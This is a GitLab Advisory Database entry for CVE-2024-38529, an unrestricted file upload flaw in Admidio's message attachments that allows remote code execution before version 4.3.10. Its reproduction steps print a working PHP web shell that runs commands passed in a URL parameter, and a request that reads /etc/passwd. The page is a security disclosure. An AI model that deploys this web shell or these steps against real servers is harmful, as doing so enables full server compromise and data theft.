Advisory Database
  • Advisories
  • Dependency Scanning
  1. composer
  2. ›
  3. admidio/admidio
  4. ›
  5. CVE-2024-38529

CVE-2024-38529: Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment

July 29, 2024

Description:

Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidio_base_url}/adm_my_files/messages_attachments/{file_name}.

The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.

An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.

Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.

Impact:

An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:

  • Execute arbitrary code or commands.
  • Access, modify, or delete sensitive data.
  • Install malicious software or scripts.
  • Gain further access to internal networks.
  • Disrupt services and applications hosted on the server.

Recommendation:

  • Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.
  • Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.

Steps to Reproduce:

  1. As a member user, go to write an email message.
  2. Upload a PHP file in the Attachment, containing the following content:
<?php
$command = isset($_GET['command']) ? $_GET['command'] : '';
$output = [];
$return_var = 0;
exec($command, $output, $return_var);
echo '<h1>Exploiting RCE</h1>';
echo 'Command: '.$command;
echo '\n<pre>';
echo implode("\n", $output);
echo '</pre>';
?>
  1. Send the email.
  2. In the message history go to the sent message.
  3. Download the file, to get the uploaded file name.
  4. Go to the following URL: {admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd
  5. The server’s passwd file would be returned in the response.

Proof Of Concept:

Click to open external image

Figure 1: Code of messages_send.php, not having file extension verification.

Click to open external image

Figure 2: Uploading Webshell as attachment.

Click to open external image

Figure 3: Download the uploaded file to get the uploaded file name.

Click to open external image

Figure 4: Uploaded File name.

Click to open external image

Figure 5: RCE via web shell.

Click to open external image

Figure 6: RCE via Webshell.

References

  • github.com/Admidio/admidio
  • github.com/Admidio/admidio/commit/3b1cc1cda05747edebe15f2825b79bc5a673d94c
  • github.com/Admidio/admidio/security/advisories/GHSA-g872-jwwr-vggm
  • github.com/advisories/GHSA-g872-jwwr-vggm
  • nvd.nist.gov/vuln/detail/CVE-2024-38529

Code Behaviors & Features

Detect and mitigate CVE-2024-38529 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 4.3.10

Fixed versions

  • 4.3.10

Solution

Upgrade to version 4.3.10 or above.

Impact 9 CRITICAL

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-434: Unrestricted Upload of File with Dangerous Type

Source file

packagist/admidio/admidio/CVE-2024-38529.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:15:01 +0000.